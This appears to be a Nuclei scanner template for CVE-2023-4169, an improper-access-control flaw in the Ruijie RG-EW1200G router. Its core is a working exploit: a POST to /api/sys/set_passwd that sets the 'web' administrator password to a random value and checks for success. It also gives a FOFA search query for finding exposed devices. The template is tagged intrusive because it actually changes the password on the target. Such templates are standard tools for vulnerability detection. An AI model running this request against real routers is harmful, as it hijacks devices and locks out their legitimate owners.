id: CVE-2023-4169 info: name: Ruijie RG-EW1200G Router - Password Reset author: DhiyaneshDK severity: high description: | A vulnerability was found in Ruijie RG-EW1200G 1.0(1)B1P5. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /api/sys/set_passwd of the component Administrator Password Handler. The manipulation leads to improper access controls. The attack can be launched remotely. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-4169 - https://github.com/blakespire/repoforcve/tree/main/RG-EW1200G - https://vuldb.com/?ctiid.236185 - https://vuldb.com/?id.236185 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2023-4169 cwe-id: CWE-284,NVD-CWE-noinfo epss-score: 0.00803 epss-percentile: 0.79768 cpe: cpe:2.3:o:ruijie:rg-ew1200g_firmware:1.0\(1\)b1p5:*:*:*:*:*:*:* metadata: max-request: 1 vendor: ruijie product: rg-ew1200g_firmware fofa-query: body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css" tags: cve,cve2023,ruijie,router,intrusive variables: password: "{{rand_base(8)}}" http: - method: POST path: - "{{BaseURL}}/api/sys/set_passwd" body: | { "username":"web", "admin_new":"{{password}}" } matchers-condition: and matchers: - type: word part: body words: - '"result":"ok"' - type: word part: header words: - application/json - type: status status: - 200 # digest: 490a00463044022058f4e32c5516f56d07d3b98d6871009c69f9dd1bf92ed7de100e613218a232ed022009683bf30dcacf953053c5fdc85eb69e633de755f741b0c1a3d38214791d010a:922c64590222798bb761d5b6d8e72950